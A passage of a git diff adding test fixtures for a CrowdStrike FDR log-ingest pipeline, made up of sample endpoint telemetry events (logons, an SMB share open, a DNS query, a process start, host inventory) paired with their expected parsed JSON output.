+                        "cid": "11d1d1d1dd1d1d1d1d1",
+                        "event_platform": "Mac"
+                    },
+                    "user": {
+                        "AccountType": "Local",
+                        "LastLoggedOnHost": "User-1-MacBook-Air.local",
+                        "LogonTime": "1715076000.000",
+                        "LogonType": "Interactive",
+                        "PasswordLastSet": "1706789855.733",
+                        "UserIsAdmin": "1",
+                        "_time": "1715076916.290",
+                        "cid": "1d1d1d1d1d1d1d1d1",
+                        "monthsincereset": "3.0"
+                    }
+                },
+                "name": "UserLogonMacV1"
+            },
+            "event": {
+                "created": "2024-05-07T10:46:39.943Z",
+                "id": "||1d1d1d1d1d1d1d1d1",
+                "original": "{\"UserIsAdmin\": \"1\", \"LogonTime\": \"1715078799.631\", \"UserSid\": \"S-1-5-21-1111-11111-387821029-2004\", \"event_platform\": \"Mac\", \"EffectiveTransmissionClass\": \"2\", \"timestamp\": \"1715078799943\", \"info\": { \"host\": { \"Timezone\": \"Asia/Kolkata\", \"ServicePackMajor\": \"none\", \"PointerSize\": \"none\", \"SiteName\": \"none\", \"AgentVersion\": \"7.14.18305.0\", \"Time\": \"1715074061.000\", \"MachineDomain\": \"none\", \"event_platform\": \"Mac\", \"AgentTimeOffset\": \"454032\", \"Version\": \"Ventura (13)\", \"AgentLoadFlags\": \"0\", \"BiosVersion\": \"none\", \"FalconGroupingTags\": \"none\", \"SystemProductName\": \"Mac14, 2\", \"OU\": \"none\", \"ProductType\": \"none\", \"City\": \"Bengaluru\", \"ConfigBuild\": \"1007.4.0018305.10\", \"SensorGroupingTags\": \"none\", \"Continent\": \"Asia\", \"FirstSeen\": \"1701672920.000\", \"HostHiddenStatus\": \"Visible\", \"BiosManufacturer\": \"none\", \"AgentLocalTime\": \"1714620029.775\", \"Country\": \"India\", \"ChassisType\": \"Other\", \"SystemManufacturer\": \"Apple Inc.\", \"ConfigIDBuild\": \"18305\", \"cid\": \"11d1d1d1dd1d1d1d1d1\" }, \"user\": { \"UserIsAdmin\": \"1\", \"monthsincereset\": \"3.0\", \"User\": \"USER-1-MACBOOK-AIR.LOCAL\\\\USER-1\", \"LogonTime\": \"1715076000.000\", \"PasswordLastSet\": \"1706789855.733\", \"LogonType\": \"Interactive\", \"AccountType\": \"Local\", \"LastLoggedOnHost\": \"User-1-MacBook-Air.local\", \"_time\": \"1715076916.290\", \"cid\": \"1d1d1d1d1d1d1d1d1\" } }, \"ContextTimeStamp\": \"1715078799.690\", \"UserName\": \"user-1\", \"ConfigStateHash\": \"821711964\", \"LogonType\": \"2\", \"AuthenticationId\": \"111112312312312321\", \"UserPrincipal\": \"user-1@User-1-MacBook-Air.local\", \"PasswordLastSet\": \"1706789855.733\", \"Entitlements\": \"15\", \"name\": \"UserLogonMacV1\", \"UserLogonFlags\": \"6\", \"UserGroupsBitmask\": \"0\", \"cid\": \"1d1d1d1d1d1d1d1d1\"}"
+            },
+            "host": {
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "related": {
+                "hash": [
+                    "821711964"
+                ],
+                "hosts": [
+                    "User-1-MacBook-Air.local"
+                ],
+                "user": [
+                    "USER-1-MACBOOK-AIR.LOCAL\\USER-1",
+                    "user-1",
+                    "user-1@User-1-MacBook-Air.local",
+                    "S-1-5-21-1111-11111-387821029-2004"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": [
+                    "USER-1-MACBOOK-AIR.LOCAL",
+                    "User-1-MacBook-Air.local"
+                ],
+                "email": "user-1@User-1-MacBook-Air.local",
+                "full_name": "user-1",
+                "id": "S-1-5-21-1111-11111-387821029-2004",
+                "name": "USER-1-MACBOOK-AIR.LOCAL\\USER-1",
+                "roles": [
+                    "admin"
+                ]
+            }
+        },
+        {
+            "@timestamp": "2024-08-01T11:31:27.123Z",
+            "crowdstrike": {
+                "ActiveDirectoryAuthenticationMethod": "0",
+                "ActivityId": "E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC",
+                "AuthenticationActivityId": "0737DAC6-66AE-42DE-B10A-FD151AE99B86",
+                "ContextTimeStamp": "2024-05-07T10:46:39.690Z",
+                "SourceAccountDomain": "EXAMPLE.COM",
+                "SourceAccountObjectGuid": "62915660-5725-4B71-A494-46793F88877A",
+                "SourceAccountObjectSid": "S-1-5-21-333333333-333333333-3333333333-333333",
+                "SourceAccountSamAccountName": "bar",
+                "SourceEndpointAccountObjectGuid": "9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8",
+                "SourceEndpointAccountObjectSid": "S-1-5-21-222222222-222222222-2222222222-222222",
+                "SourceEndpointAddressIP4": "192.168.0.1",
+                "SourceEndpointHostName": "FOO",
+                "SourceEndpointNetworkTag": "AWS-XXX",
+                "SourceEndpointNetworkType": "1",
+                "TargetDomainControllerObjectGuid": "11111111-1111-1111-1111-111111111111",
+                "TargetDomainControllerObjectSid": "S-1-5-21-111111111-111111111-1111111111-111111",
+                "cid": "11111111111111111111111111111111",
+                "name": "ActiveDirectoryInteractiveDomainLogonV2"
+            },
+            "event": {
+                "created": "2024-08-01T11:31:27.123Z",
+                "id": "||11111111111111111111111111111111",
+                "original": "{\"ActiveDirectoryAuthenticationMethod\":\"0\",\"ActivityId\":\"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC\",\"AuthenticationActivityId\":\"0737DAC6-66AE-42DE-B10A-FD151AE99B86\",\"ContextTimeStamp\":\"1715078799.690\",\"SourceAccountDomain\":\"EXAMPLE.COM\",\"SourceAccountObjectGuid\":\"62915660-5725-4B71-A494-46793F88877A\",\"SourceAccountObjectSid\":\"S-1-5-21-333333333-333333333-3333333333-333333\",\"SourceAccountSamAccountName\":\"bar\",\"SourceEndpointAccountObjectGuid\":\"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8\",\"SourceEndpointAccountObjectSid\":\"S-1-5-21-222222222-222222222-2222222222-222222\",\"SourceEndpointAddressIP4\":\"192.168.0.1\",\"SourceEndpointHostName\":\"FOO\",\"SourceEndpointNetworkTag\":\"AWS-XXX\",\"SourceEndpointNetworkType\":\"1\",\"TargetDomainControllerObjectGuid\":\"11111111-1111-1111-1111-111111111111\",\"TargetDomainControllerObjectSid\":\"S-1-5-21-111111111-111111111-1111111111-111111\",\"aip\":\"\",\"cid\":\"11111111111111111111111111111111\",\"event_platform\":\"Win\",\"name\":\"ActiveDirectoryInteractiveDomainLogonV2\",\"timestamp\":\"2024-08-01T11:31:27.123Z\"}"
+            },
+            "host": {
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-01-27T20:26:33.697Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1063377105",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "SmbShareName": "C$",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3",
+                "name": "SmbServerShareOpenedEtwV1"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:1",
+                "domain": "AzureAD",
+                "ip": "0:0:0:0:0:0:0:1"
+            },
+            "device": {
+                "id": "1152404d33614d3bbfe87a5fe7bac47b"
+            },
+            "event": {
+                "action": "SmbServerShareOpenedEtw",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-01-27T20:26:33.697Z",
+                "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3|1152404d33614d3bbfe87a5fe7bac47b|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"person@dom1.com\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1063377105\",\"DomainName\":\"AzureAD\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SmbServerShareOpenedEtwV1\",\"EventOrigin\":\"17\",\"id\":\"5df90d92-3d9f-44e5-a095-428decb3d3f3\",\"SmbShareName\":\"C$\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"1152404d33614d3bbfe87a5fe7bac47b\",\"timestamp\":\"1738009593697\",\"cid\":\"ffffffff30a3407dae27d0503611022d\"}",
+                "outcome": "success",
+                "type": [
+                    "connection",
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "1152404d33614d3bbfe87a5fe7bac47b",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SmbServerShareOpenedEtw",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "1152404d33614d3bbfe87a5fe7bac47b",
+                "version": "1007.3.0019011.15"
+            },
+            "related": {
+                "hash": [
+                    "1063377105"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0:0:0:0:0:0:0:1"
+                ],
+                "user": [
+                    "person@dom1.com"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "person@dom1.com"
+            }
+        },
+        {
+            "@timestamp": "2025-01-27T20:22:44.034Z",
+            "crowdstrike": {
+                "ConfigStateHash": "138674525",
+                "ContextBaseFileName": "SenseImdsCollector.exe",
+                "ContextProcessId": "683613242245",
+                "ContextTimeStamp": "2025-01-27T20:22:57.497Z",
+                "DnsRequestCount": 1,
+                "DualRequest": "1",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "InterfaceIndex": 0,
+                "QueryStatus": "9003",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407",
+                "name": "DnsRequestV5"
+            },
+            "device": {
+                "id": "31e92a267c044d57b1c1e14109079e89"
+            },
+            "dns": {
+                "question": {
+                    "name": "metadata.google.internal",
+                    "type": "AAAA"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "DnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-01-27T20:22:44.034Z",
+                "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407|31e92a267c044d57b1c1e14109079e89|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"SenseImdsCollector.exe\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1738009377.497\",\"ConfigStateHash\":\"138674525\",\"ContextProcessId\":\"683613242245\",\"DomainName\":\"metadata.google.internal\",\"ContextThreadId\":\"31712204862362\",\"aip\":\"67.43.156.14\",\"QueryStatus\":\"9003\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"DnsRequestCount\":\"1\",\"DualRequest\":\"1\",\"Entitlements\":\"15\",\"name\":\"DnsRequestV5\",\"EventOrigin\":\"1\",\"id\":\"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"31e92a267c044d57b1c1e14109079e89\",\"timestamp\":\"1738009364034\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"RequestType\":\"28\"}",
+                "outcome": "success",
+                "type": [
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "31e92a267c044d57b1c1e14109079e89",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "31e92a267c044d57b1c1e14109079e89",
+                "version": "1007.3.0019011.15"
+            },
+            "process": {
+                "entity_id": "683613242245",
+                "name": "SenseImdsCollector.exe",
+                "thread": {
+                    "id": 31712204862362
+                }
+            },
+            "related": {
+                "hash": [
+                    "138674525"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2022-08-16T08:01:09.410Z",
+            "crowdstrike": {
+                "AuthenticationId": "29530993",
+                "ConfigStateHash": "518095218",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ImageSubsystem": "2",
+                "IntegrityLevel": "8192",
+                "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e",
+                "ParentAuthenticationId": "29530993",
+                "ProcessCreateFlags": "1024",
+                "ProcessParameterFlags": "24577",
+                "ProcessSxsFlags": "64",
+                "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
+                "SessionId": "1",
+                "SourceProcessId": "434985540832797032",
+                "SourceThreadId": "434985668331321297",
+                "Tags": [
+                    "25",
+                    "27",
+                    "862",
+                    "874",
+                    "924",
+                    "12094627905582",
+                    "12094627906234"
+                ],
+                "TokenType": "2",
+                "cid": "1301ac65ae144fbb9689a8472f828c2e",
+                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf",
+                "name": "ProcessRollup2V19"
+            },
+            "device": {
+                "id": "50deaa55144543089a1f463b568cdc53"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2022-08-16T08:01:09.410Z",
+                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e",
+                "kind": "event",
+                "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"18446744072636268557\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "50deaa55144543089a1f463b568cdc53",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "89.160.20.120"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.120"
+                ],
+                "serial_number": "50deaa55144543089a1f463b568cdc53",
+                "version": "1007.3.0015103.1"
+            },
+            "process": {
+                "Ext": {
+                    "token": {
+                        "integrity_level_name": "MEDIUM"
+                    }
+                },
+                "args": [
+                    "C:\\Program Files\\nirsoft\\SoundVolumeView.exe",
+                    "/SetDefault",
+                    "Teradici Virtual Audio Driver\\device\\speakers\" all"
+                ],
+                "args_count": 3,
+                "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all",
+                "entity_id": "434985669758362104",
+                "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe",
+                "hash": {
+                    "md5": "e570911fc2ab74ecf0dc59f324318f6e",
+                    "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2"
+                },
+                "name": "SoundVolumeView.exe",
+                "parent": {
+                    "entity_id": "434985540832797032",
+                    "name": "EmUser.exe"
+                },
+                "pid": -1073283059,
+                "start": "2022-08-16T08:01:08.576Z"
+            },
+            "related": {
+                "hash": [
+                    "e570911fc2ab74ecf0dc59f324318f6e",
+                    "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
+                    "518095218"
+                ],
+                "ip": [
+                    "89.160.20.120"
+                ],
+                "user": [
+                    "S-1-5-21-4084637156-299436391-3671333128-115430"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-21-4084637156-299436391-3671333128-115430"
+            }
+        },
+        {
+            "@timestamp": "2025-03-27T17:02:25.000Z",
+            "crowdstrike": {
+                "AgentTimeOffset": 6.3878693E10,
+                "ConfigBuild": "1007.32.20250201.9",
+                "ConfigIDBuild": "20250201",
+                "FirstSeen": "2025-03-20T05:18:57.000Z",
+                "HostHiddenStatus": "visible",
+                "SystemManufacturer": "Apple",
+                "cid": "55555555555555555555555555555555"
+            },
+            "device": {
+                "id": "44444444444444444444444444444444"
+            },
+            "event": {
+                "created": "2025-03-27T17:02:25.000Z",
+                "id": "|44444444444444444444444444444444|55555555555555555555555555555555",
+                "original": "{\"AgentLoadFlags\":\"none\",\"AgentLocalTime\":\"none\",\"AgentTimeOffset\":\"63878691745\",\"AgentVersion\":\"2025.02.1\",\"BiosManufacturer\":\"none\",\"BiosVersion\":\"none\",\"ChassisType\":\"none\",\"City\":\"Bengaluru\",\"ComputerName\":\"none\",\"ConfigBuild\":\"1007.32.20250201.9\",\"ConfigIDBuild\":\"20250201\",\"Continent\":\"Asia\",\"Country\":\"India\",\"FalconGroupingTags\":\"none\",\"FirstSeen\":\"1742447937.000\",\"HostHiddenStatus\":\"visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"none\",\"SensorGroupingTags\":\"none\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple\",\"SystemProductName\":\"none\",\"Time\":\"1743094945.000\",\"Timezone\":\"Asia/Kolkata\",\"Version\":\"iOS 18.3.2\",\"aid\":\"44444444444444444444444444444444\",\"aip\":\"0.0.0.0\",\"cid\":\"55555555555555555555555555555555\",\"event_platform\":\"iOS\"}"
+            },
+            "host": {
+                "geo": {
+                    "city_name": "Bengaluru",
+                    "continent_name": "Asia",
+                    "country_name": "India",
+                    "timezone": "Asia/Kolkata"
+                },
+                "id": "44444444444444444444444444444444",
+                "os": {
+                    "type": "ios",
+                    "version": "iOS 18.3.2"
+                }
+            },
+            "observer": {
+                "address": [
+                    "0.0.0.0"
+                ],
+                "ip": [
+                    "0.0.0.0"
+                ],
+                "serial_number": "44444444444444444444444444444444",
+                "version": "2025.02.1"
+            },
+            "related": {
+                "ip": [
+                    "0.0.0.0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:34.000Z",
+            "crowdstrike": {
+                "AuthenticationId": "317005428",
+                "AuthenticationPackage": "Negotiate",
+                "ConfigStateHash": "3950066843",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LogoffTime": "2020-11-08T17:05:32.756Z",
+                "LogonServer": "srv2",
+                "LogonTime": "2020-11-08T17:05:31.666Z",
+                "LogonType": "7",
+                "PasswordLastSet": "1598119332.510",
+                "RemoteAccount": "1",
+                "UserFlags": "32",
+                "UserLogoffType": "3",
+                "UserLogonFlags": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8913-0287fd11c79b",
+                "name": "UserLogoffV3"
+            },
+            "device": {
+                "id": "ffffffffe0104823bd3de859d5bc8bc7"
+            },
+            "event": {
+                "action": "UserLogoff",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-11-08T17:05:34.000Z",
+                "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "domain": "dom1",
+                "id": "ffffffffe0104823bd3de859d5bc8bc7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogoff",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffe0104823bd3de859d5bc8bc7",
+                "version": "1007.3.0011603.1"
+            },
+            "related": {
+                "hash": [
+                    "3950066843"
+                ],
+                "hosts": [
+                    "srv2"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user4",
+                    "user.name",
+                    "user.name@dom2.com",
+                    "S-1-5-21-606747145-1364589140-725345543-28636"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom2.com",
+                "email": "user.name@dom2.com",
+                "full_name": "user.name",
+                "id": "S-1-5-21-606747145-1364589140-725345543-28636",
+                "name": "user4"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log
new file mode 100644
index 0000000000..6f96985067
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log
@@ -0,0 +1 @@
+{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json
new file mode 100644
index 0000000000..276e6c7b12
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json
@@ -0,0 +1,64 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-04-06T08:25:02.395Z",
+            "crowdstrike": {
+                "CurrentLocalIP": "192.168.1.35",
+                "FirstDiscoveredDate": "2023-04-03T14:55:04.111Z",
+                "LastDiscoveredBy": "1fffffffffffffffffffffffffffffff",
+                "LocalAddressIP4": [
+                    "192.168.1.129",
+                    "192.168.1.35"
+                ],
+                "MACPrefix": "BB-AA-AA",
+                "NeighborName": "!!!!UNKNOWN!!!!",
+                "__mv_LocalAddressIP4": "$192.168.1.129$;$192.168.1.35$",
+                "__mv_aip": "$192.168.255.7$;$192.168.240.243$",
+                "aipCount": 2,
+                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "discovererCount": 1,
+                "discoverer_aid": "bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb",
+                "localipCount": 2,
+                "subnet": "192.168"
+            },
+            "event": {
+                "created": "2023-04-06T08:25:02.395Z",
+                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                "original": "{\"ComputerName\":\"xxxxxxxxxxxxxxxx\",\"CurrentLocalIP\":\"192.168.1.35\",\"FirstDiscoveredDate\":\"1680533704.111\",\"LastDiscoveredBy\":\"1fffffffffffffffffffffffffffffff\",\"LocalAddressIP4\":\"192.168.1.129 192.168.1.35\",\"MAC\":\"BB-AA-AA-AA-CC-CC\",\"MACPrefix\":\"BB-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"$192.168.1.129$;$192.168.1.35$\",\"__mv_aip\":\"$192.168.255.7$;$192.168.240.243$\",\"__mv_discoverer_aid\":\"\",\"_time\":\"1680769502.395\",\"aip\":\"192.168.255.7 192.168.240.243\",\"aipCount\":\"2\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"discovererCount\":\"1\",\"discoverer_aid\":\"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb\",\"localipCount\":\"2\",\"subnet\":\"192.168\"}"
+            },
+            "host": {
+                "hostname": "xxxxxxxxxxxxxxxx",
+                "name": "xxxxxxxxxxxxxxxx"
+            },
+            "observer": {
+                "address": [
+                    "192.168.255.7",
+                    "192.168.240.243"
+                ],
+                "ip": [
+                    "192.168.255.7",
+                    "192.168.240.243"
+                ]
+            },
+            "related": {
+                "hosts": [
+                    "xxxxxxxxxxxxxxxx"
+                ],
+                "ip": [
+                    "192.168.255.7",
+                    "192.168.240.243",
+                    "192.168.1.129",
+                    "192.168.1.35"
+                ]
+            },
+            "source": {
+                "address": "192.168.1.35",
+                "ip": "192.168.1.35",
+                "mac": "BB-AA-AA-AA-CC-CC"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log
new file mode 100644
index 0000000000..6ab6c2e541
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log
@@ -0,0 +1,5 @@
+{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
